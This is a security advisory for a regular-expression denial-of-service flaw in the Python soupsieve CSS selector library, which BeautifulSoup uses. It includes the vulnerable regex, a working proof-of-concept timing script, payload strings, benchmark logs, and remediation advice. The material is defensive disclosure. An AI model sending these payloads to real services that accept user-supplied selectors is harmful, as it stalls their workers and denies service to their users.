GHSA-gjv8-xp57-g29c: Medium severity pip/soupsieve vulnerability
Summary
soupsieve compiles CSS selector strings with a set of hand-written regular expressions. The shared IDENTIFIER sub-pattern (also embedded in VALUE, and therefore in attribute selectors) places two adjacent quantified groups over overlapping character classes: (?:[classA]|ESC)+(?:[classB]|ESC), where both classes match ordinary identifier characters such as a. When a selector contains a long identifier/value run that must ultimately fail to match (e.g. an attribute value with no closing ], or an identifier followed by an invalid character), the regex engine backtracks across all O(n) ways to split the run between the + group and the group, giving O(n²) parse time. A single attacker-controlled selector of a few kilobytes stalls the interpreter for many seconds of CPU; tens of kilobytes reach minutes.
Trust model (Q0)
The selector string is the input. It reaches this code via soupsieve.compile(), soupsieve.select/iselect/match/filter, and — most commonly — BeautifulSoup's soup.select(selector) / soup.selectone(selector), which delegate to soupsieve. This is exploitable in any application that passes a user-controlled CSS selector to BeautifulSoup/soupsieve (scrapers that accept selectors, no-code extraction tools, admin/query UIs). Applications that only use hard-coded selectors are not affected.
Root cause (exact anchors) — src/soupsieve/cssparser.py
python lines 122-126 IDENTIFIER = fr''' (?:(?:-?(?:[^\x00-\x2f\x30-\x40\x5B-\x5E\x60\x7B-\x9f]|{CSSESCAPES})+|--) (?:[^\x00-\x2c\x2e\x2f\x3A-\x40\x5B-\x5E\x60\x7B-\x9f]|{CSSESCAPES})) ''' line 129 — VALUE embeds IDENTIFIER (so attribute values inherit the pattern) VALUE = fr'''(?:"(?:\\(?:.|{NEWLINE})|[^\\"\r\n\f])?"|'...'|{IDENTIFIER})'''
- classA [^\x00-\x2f\x30-\x40\x5B-\x5E\x60\x7B-\x9f] excludes digits (0x30-0x39); classB [^\x00-\x2c\x2e\x2f\x3A-\x40\x5B-\x5E\x60\x7B-\x9f] allows digits. The intent is "first char not a digit, remaining chars may be digits." - Both classes match ordinary letters (e.g. a = 0x61). The construct is therefore effectively (?:C)+(?:C) over an overlapping class C — the canonical adjacent-quantifier shape that backtracks quadratically on a failing match.
The quadratic only manifests when the overall match must fail. IDENTIFIER matched greedily on "a"n succeeds in linear time (~1 ms at n=32000). Anchoring it so a following element is mandatory and fails (IDENTIFIER + "$" against "a"n + "!") reproduces the O(n²) directly: n=2000 → 44 ms, 4000 → 257 ms, 8000 → 743 ms, 16000 → 2944 ms (~×4 per ×2). Profiling compile("[a=" + "a"4000) shows only 12 re.match calls consuming 2.685 s — i.e. the cost is inside a single regex match, confirming regex backtracking (not loop overhead).
Reproduction environment (discipline #12 — published artifact)
- git HEAD 751c57b (2.9, PYTHONPATH=src): cd src && python3 ../poc/pocredoscompile.py. - Published PyPI soupsieve 2.8.4 (fresh uv pip install soupsieve beautifulsoup4): cd poc && ../.venv-published/bin/python pocredoscompile.py → same O(n²) (evidence: poc/evidenceredoscompilePUBLISHED2.8.4.log). - Python 3.11.15 and 3.14.6 both reproduce.
PoC (poc/pocredoscompile.py)
python import sys, time sys.path.insert(0, ".") import soupsieve as sv
def compiletime(sel): t0 = time.perfcounter() try: sv.compile(sel) status = "ok" except Exception as e: status = type(e).name return (time.perfcounter() - t0), status
print(f"soupsieve {sv.version}\n")
print("Payload A: '[a=' + 'a'n (unterminated attribute value)") for n in (1000, 2000, 4000, 8000): dt, st = compiletime("[a=" + "a" n) print(f" n={n:<6} len={3+n:<7} {dt1000:9.1f} ms [{st}]")
print("\nPayload B: 'a'n + '!' (identifier run + invalid trailing char)") for n in (2000, 4000, 8000, 16000): dt, st = compiletime("a" n + "!") print(f" n={n:<6} len={n+1:<7} {dt1000:9.1f} ms [{st}]")
payload = "[a=" + "a" 12000 dt, st = compiletime(payload) print(f"\n[+] Single call: compile('[a=' + 'a'12000) (len={len(payload)})") print(f"[+] wall time = {dt:.2f} s [{st}]")
End-to-end note: bs4.BeautifulSoup(html).select(payload) reaches the same compile() path, so the stall is triggerable directly through BeautifulSoup with a user-supplied selector. Verified on bs4 4.15.0 + soupsieve 2.8.4: soup.select("[a=" + "a"6000) took ~5.0 s for one call (evidence: poc/evidencebs4selectPUBLISHED2.8.4.log).
Evidence — HEAD 2.9 (verbatim poc/evidenceredoscompile.log)
soupsieve 2.9
Payload A: '[a=' + 'a'n (unterminated attribute value) n=1000 len=1003 214.8 ms [SelectorSyntaxError] n=2000 len=2003 504.7 ms [SelectorSyntaxError] n=4000 len=4003 2031.9 ms [SelectorSyntaxError] n=8000 len=8003 8091.3 ms [SelectorSyntaxError]
Payload B: 'a'n + '!' (identifier run + invalid trailing char) n=2000 len=2001 79.7 ms [SelectorSyntaxError] n=4000 len=4001 322.9 ms [SelectorSyntaxError] n=8000 len=8001 1328.9 ms [SelectorSyntaxError] n=16000 len=16001 5379.4 ms [SelectorSyntaxError]
[+] Single call: compile('[a=' + 'a'12000) (len=12003) [+] wall time = 18.28 s [SelectorSyntaxError]
Evidence — published 2.8.4 (verbatim poc/evidenceredoscompilePUBLISHED2.8.4.log)
soupsieve 2.8.4 Payload A: '[a=' + 'a'n n=1000 len=1003 113.9 ms [SelectorSyntaxError] n=2000 len=2003 457.2 ms [SelectorSyntaxError] n=4000 len=4003 1816.8 ms [SelectorSyntaxError] n=8000 len=8003 7299.0 ms [SelectorSyntaxError] [+] Single call: compile('[a=' + 'a'12000) wall time = 16.57 s [SelectorSyntaxError]
Impact — calibrated
- Confirmed: quadratic CPU consumption per compile()/select() call on an attacker-controlled selector. ~8 KB → ~8 s; ~12 KB → ~17 s; scaling ~×4 per input doubling. A handful of such requests exhausts a worker/thread and degrades or stalls the service (single-threaded regex holds the GIL). - Realistic exposure: services that accept user-supplied CSS selectors and feed them to BeautifulSoup/soupsieve. - NOT claimed: exponential blowup, memory corruption, or code execution. This is strictly an availability (DoS) issue, and only where selectors are attacker-influenced. Applications using only fixed selectors are unaffected — stated to avoid inflation.
Remediation
- Remove the adjacent-quantifier ambiguity in IDENTIFIER: match a single leading non-digit character then the remaining class once, e.g. (?:-?(?:[classA]|ESC)(?:[classB]|ESC)|--(?:[classB]|ESC)), so no +/ pair spans the same characters. - Alternatively use atomic grouping / possessive quantifiers where supported ((?>...), +) to forbid backtracking into the identifier run. - Defense-in-depth: cap selector length before compiling (reject selectors beyond a sane bound), since CSS selectors are realistically short.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/soupsieveto a version that resolves this vulnerability.Fixed in 2.9.0 - Upgrade
Upgrade
soupsieveto a version that resolves this vulnerability.Fixed in 2.9 - Compensating control
Add a hard cap on user-supplied CSS selector length before calling soupsieve.compile()/select()/iselect/match/filter (e.g., reject selectors beyond a sane bound), since the selector string is the input and realistic CSS selectors are short.
Event History
Frequently Asked Questions
Which applications are exposed to this issue?
Applications are exposed when they pass user-controlled CSS selectors to soupsieve. This commonly occurs through BeautifulSoup calls such as soup.select(selector) or soup.select_one(selector), which delegate selector processing to soupsieve.
What does an attacker need to supply?
An attacker needs the ability to provide a CSS selector string that reaches soupsieve compilation or selection APIs, including soupsieve.compile(), select(), iselect(), match(), or filter(). A long identifier or attribute-value run that is forced to fail parsing, such as an attribute selector without a closing bracket, can trigger excessive CPU use.
What is the practical impact of a successful attack?
A selector only a few kilobytes long can stall the Python interpreter for many seconds of CPU time. Inputs in the tens of kilobytes can consume minutes of CPU time, creating a denial-of-service condition.